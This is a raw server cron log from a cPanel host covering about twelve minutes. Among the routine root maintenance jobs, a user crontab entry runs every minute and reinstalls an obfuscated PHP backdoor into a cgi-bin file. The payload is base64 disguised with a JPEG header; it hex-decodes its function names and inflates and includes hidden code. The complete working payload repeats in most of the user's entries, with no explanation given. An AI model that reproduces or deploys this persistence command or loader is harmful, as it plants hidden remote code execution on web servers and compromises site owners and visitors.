Sep  1 14:48:01 server CROND[1760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:48:01 server CROND[1761]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:49:01 server CROND[2165]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:49:01 server CROND[2166]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:49:01 server CROND[2167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:50:01 server CROND[2705]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 14:50:01 server CROND[2707]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 14:50:01 server CROND[2710]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 14:50:01 server CROND[2711]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:50:01 server CROND[2712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:50:01 server CROND[2713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:50:01 server CROND[2709]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 14:50:01 server CROND[2715]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 14:50:01 server CROND[2716]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 14:51:01 server CROND[3564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:51:01 server CROND[3565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:51:01 server CROND[3566]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:52:01 server CROND[3943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:52:01 server CROND[3944]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:52:01 server CROND[3945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:53:01 server CROND[4318]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:53:01 server CROND[4319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:53:01 server CROND[4320]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:54:01 server CROND[4691]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:54:01 server CROND[4692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:54:01 server CROND[4693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:55:01 server CROND[5151]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 14:55:01 server CROND[5153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:55:01 server CROND[5152]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 14:55:01 server CROND[5156]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:55:01 server CROND[5157]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 14:55:01 server CROND[5160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:55:01 server CROND[5155]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 14:56:01 server CROND[6050]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:56:01 server CROND[6051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:56:01 server CROND[6052]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:57:01 server CROND[6423]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 14:57:01 server CROND[6424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:57:01 server CROND[6425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:57:01 server CROND[6426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:58:01 server CROND[6808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:58:01 server CROND[6809]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:58:01 server CROND[6810]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:59:01 server CROND[7175]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:59:01 server CROND[7176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:59:01 server CROND[7177]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:00:01 server CROND[7625]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 15:00:01 server CROND[7627]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 15:00:01 server CROND[7636]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 15:00:01 server CROND[7637]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
